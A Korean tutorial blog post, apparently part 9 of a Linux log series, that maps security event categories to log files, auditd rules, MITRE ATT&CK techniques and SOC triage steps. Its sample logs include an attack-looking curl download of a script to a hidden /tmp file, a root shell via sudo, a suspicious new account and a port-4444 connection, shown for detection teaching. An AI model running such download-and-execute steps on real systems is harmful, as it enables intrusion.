09. Linux 로그와 보안 이벤트의 관계

Linux 로그 경로 정리 · 09/50 · Part 1. Linux 로그 기본 구조

선행 학습 → 08. Syslog의 Facility와 Severity · Linux 시스템 보안 기초 시리즈
이번 글 → Linux 로그와 보안 이벤트의 관계
이어서 → 10. Linux 로그를 읽을 때 주의할 점

1. 들어가며

"프로세스 실행 기록은 어디 있나요?" — 많은 입문자가 /var/log/messages 를 뒤지다가 포기합니다. 기본 설정의 Linux는 일반 명령 실행을 기록하지 않기 때문입니다. 어떤 행위가 어떤 로그에 남는지(또는 남지 않는지)를 먼저 매핑해야 탐지 공백을 알 수 있습니다.

핵심 요약

• 보안 이벤트는 6가지 행위 범주로 나눠 로그 소스를 매핑한다.
• 인증·권한은 기본 설정으로도 잘 남지만, 프로세스 실행·파일 접근·네트워크 연결은 auditd 룰 없이는 거의 남지 않는다.
• 매핑표 = 탐지 가능 범위 = SOC 가시성.

2. 핵심 개념

행위 범주	기본 기록 여부	주 로그 소스	보강 수단
Authentication	O	secure / auth.log, journal, audit(USER_*)	—
Privilege Change	O (sudo/su)	secure / auth.log	audit -k priv_esc
Process Execution	X	(없음)	auditd execve 룰 (39편)
File Access	X	(없음)	auditd -w 감시 룰 (40편), Wazuh FIM
Network Activity	△ (서비스 로그·방화벽 설정 시)	방화벽 LOG, 웹 로그	audit connect 룰, 방화벽 로깅
Service Change	O	journal(systemd), messages / syslog	audit 로 systemctl 실행 주체 확인

3. 로그 생성 구조

Authentication  ─┐                      ┌─ T1110 Brute Force / T1078 Valid Accounts
Process Execution┤                      ├─ T1059 Command and Scripting Interpreter
Privilege Change ┼──▶ Security Event ──┼─ T1548 Abuse Elevation Control (sudo)
File Access     ─┤    (로그로 증명)       ├─ T1003.008 /etc/passwd·shadow 접근
Network Activity ┤                      ├─ T1071 Application Layer Protocol (C2)
Service Change  ─┘                      └─ T1543.002 Systemd Service / T1053.003 Cron

4. 실제 로그 경로

행위	Rocky / RHEL	Ubuntu / Debian	공통
로그인	/var/log/secure	/var/log/auth.log	journalctl -u sshd, /var/log/wtmp
sudo / su	/var/log/secure	/var/log/auth.log	journalctl _COMM=sudo
계정 생성	/var/log/secure (useradd)	/var/log/auth.log	audit ADD_USER
명령 실행	—	—	/var/log/audit/audit.log (룰 필요)
중요 파일 접근	—	—	/var/log/audit/audit.log (룰 필요)
cron 변경/실행	/var/log/cron	/var/log/syslog (기본)	audit -w /etc/crontab
서비스 등록/기동	/var/log/messages	/var/log/syslog	journal _SYSTEMD_UNIT

5. 명령어 실습

# 현재 서버의 가시성 점검: auditd 룰이 있는가?
auditctl -s | grep -E 'enabled|lost|backlog'
auditctl -l                                        # "No rules" 이면 실행·파일 접근 가시성 없음

# 범주별 최근 이벤트 빠른 확인 (Rocky 예, Ubuntu는 auth.log)
grep -E 'Accepted|Failed password' /var/log/secure | tail -3     # 인증
grep -E 'sudo:|su:' /var/log/secure | tail -3                     # 권한
grep -E 'useradd|usermod|passwd' /var/log/secure | tail -3        # 계정
journalctl --since today -o short-iso | grep -E 'Started|Stopped|Reloaded' | tail -3   # 서비스
ausearch -m EXECVE -ts today -i 2>/dev/null | tail -3            # 실행 (룰 있을 때만)

6. 로그 예시

아래는 각 범주의 대표 형식을 보여주는 예시 로그입니다(이 시리즈의 실습 시나리오와 같은 형식으로 작성).

[인증]   sshd[4101]: Accepted password for deploy from 203.0.113.45 port 51188 ssh2
[권한]   sudo[4150]: deploy : TTY=pts/1 ; PWD=/home/deploy ; USER=root ; COMMAND=/bin/bash
[계정]   useradd[4210]: new user: name=sysbackup, UID=1002, GID=1002, home=/home/sysbackup, shell=/bin/bash
[실행]   type=EXECVE ... argc=5 a0="curl" a1="-s" a2="http://198.51.100.23/x.sh" a3="-o" a4="/tmp/.x.sh"
[지속성] crontab[4231]: (root) REPLACE (root)
[네트워크] type=SOCKADDR ... saddr={ saddr_fam=inet laddr=198.51.100.23 lport=4444 }

7. 로그 필드 분석

범주	핵심 필드	판단 질문
인증	결과, 방식, 사용자, 출발지 IP	실패 다수 후 성공인가? 비밀번호 방식인가?
권한	실행자, 대상 USER, COMMAND	셸(/bin/bash) 자체를 root로 얻었나?
계정	name, UID, shell	로그인 가능한 셸을 가진 신규 계정인가?
실행	auid, uid, exe, 인자	원래 로그인 사용자(auid)는 누구인가?
지속성	사용자, 동작(REPLACE)	누가 root crontab을 바꿨나?
네트워크	목적지 IP/포트, exe	알 수 없는 바이너리가 외부로 나가는가?

8. 보안관점

정상	의심
운영자 공개키 로그인 → 정해진 sudo 명령	비밀번호 로그인 → sudo /bin/bash → 다운로드·실행
패키지 설치에 의한 서비스 등록	수동 생성된 .service / root crontab 변경
알려진 백업 서버로의 연결	비표준 포트(4444 등)로의 외부 연결

9. SOC 관점

• Detection 설계: 매핑표에서 X인 칸(실행·파일·네트워크)은 auditd/EDR 없이는 탐지 룰을 만들어도 로그가 없다.
• Triage: 인증 Alert만 있고 후속 행위 로그가 없다면 "공격 없음"이 아니라 "가시성 없음"일 수 있다.
• Investigation: 인증(Who) → 권한(How high) → 실행(What) → 지속성(Stay) → 네트워크(Where)로 확장.
• Response: 가시성 공백은 사고 후 개선 과제(auditd 룰 배포, Wazuh 수집 확대)로 보고한다.

10. 실습 체크리스트

[ ] 6가지 행위 범주와 로그 소스 매핑
[ ] auditctl -l 로 현재 감사 룰 확인
[ ] 범주별 최근 이벤트 1건씩 조회
[ ] 기본 설정에서 남지 않는 행위 3가지 설명
[ ] 각 범주를 MITRE ATT&CK 기법과 연결
[ ] 가시성 공백을 보고 항목으로 정리

11. 핵심 정리

• 보안 이벤트는 인증·실행·권한·파일·네트워크·서비스로 나눠 로그 소스를 매핑한다.
• 인증과 권한 변경은 기본 로그로 잘 남는다.
• 명령 실행과 파일 접근은 auditd 룰이 있어야 남는다.
• 로그가 없다는 것은 "행위가 없다"가 아니라 "가시성이 없다"일 수 있다.
• 매핑표는 SOC 탐지 범위와 개선 과제를 동시에 보여준다.

12. 다음 편 연결

구분	글
◀ 이전 글	08. Syslog의 Facility와 Severity
▶ 다음 글	10. Linux 로그를 읽을 때 주의할 점
시리즈	Linux 로그 경로 정리 전체 보기
선행 시리즈	리눅스 시스템 기초 · 파일 · 권한 · 사용자 관리 · 서비스 · 프로세스 관리 · Linux 시스템 보안 기초